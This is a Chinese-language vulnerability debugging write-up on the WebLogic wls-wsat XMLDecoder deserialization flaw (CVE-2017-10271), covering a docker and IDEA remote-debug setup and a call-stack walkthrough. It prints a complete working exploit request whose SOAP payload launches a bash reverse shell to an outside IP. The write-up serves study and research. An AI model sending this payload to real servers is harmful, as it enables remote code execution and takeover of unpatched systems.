weblogic在10.3.3版本时引入了wsat包来支持Web Services Atomic Transaction,而在引用该包时,未对使用的数据进行过滤,造成了JAVA反序列化。
WebLogicWeb services enable interoperability with other external transaction processingsystems, such as Websphere, JBoss, Microsoft .NET, and so on, through thesupport of the following specifications:
Web Services Atomic Transaction(WS-AtomicTransaction) Versions 1.0, 1.1, and 1.2
环境搭建
利用现有docker进行搭建CVE-2017-10271。
下载后,修改docker-compose.yml,增添一个调试端口。
1
2
3
4
5
6
7
|
version: '2'
services:
weblogic:
image: vulhub/weblogic:10.3.6.0-2017
ports:
- "7001:7001"
- "8470:8470"
|
进入docker镜像中,修改 /root/Oracle/Middleware/user_projects/domains/base_domain/bin/setDomainEnv.sh文件,添加以下内容。
1
2
3
|
debugFlag="true"
expot debugFlag
DEBUG_PORT=8470
|
注意该三行内容需要添加到图中所示位置。
将root目录下的所有文件拷贝下来,重启docker,并利用IDEA打开wlserver_10.3文件,并添加wlserver_10.3\server\lib和modules库,并配置JDK为1.6版本,然后在调试命令中,建立Remote JVM Debug调试。
动态调试
利用网上的POC代码,在burp中发送命令,并在XMLDecoder的readObject()函数处加上断点。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
|
POST /wls-wsat/RegistrationPortTypeRPC HTTP/1.1
Host: your-ip:7001
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: text/xml
Content-Length: 637
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<object class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i >& /dev/tcp/172.25.13.172/123 0>&1</string>
</void>
</array>
<void method="start"/></object>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
|
向weblogic发送POC后,将会断在readObject处,查看调用栈。
其中最关键的两个函数分别是processRequest和readHeaderOld。
processRequest函数将会把接收到的请求,进行处理,提取出其中的xml交给readHeaderold。
readHeaderOld函数会将xml数据传递给XMLDecoder,在后续将会对该XMLDecoder对象调用readobject。
总结
在动态调试时,可先将断点打在终点处,再利用调用栈中的信息,来回溯整个过程。
在远程调试时报handshake failed - connection prematurally closed错误。
最后通过添加DEBUG_PORT=8470解决。
参考
docker+IDEA环境搭建
IDEA+docker,进行远程漏洞调试(weblogic)
WebLogic XMLDecoder反序列化漏洞
intellij使用docker来调试
本地weblogic调试
WebLogic 动态调试环境搭建
weblogic一键环境工具
WeblogicEnvironment
CVE参考
浅谈Weblogic反序列化——XMLDecoder的绕过史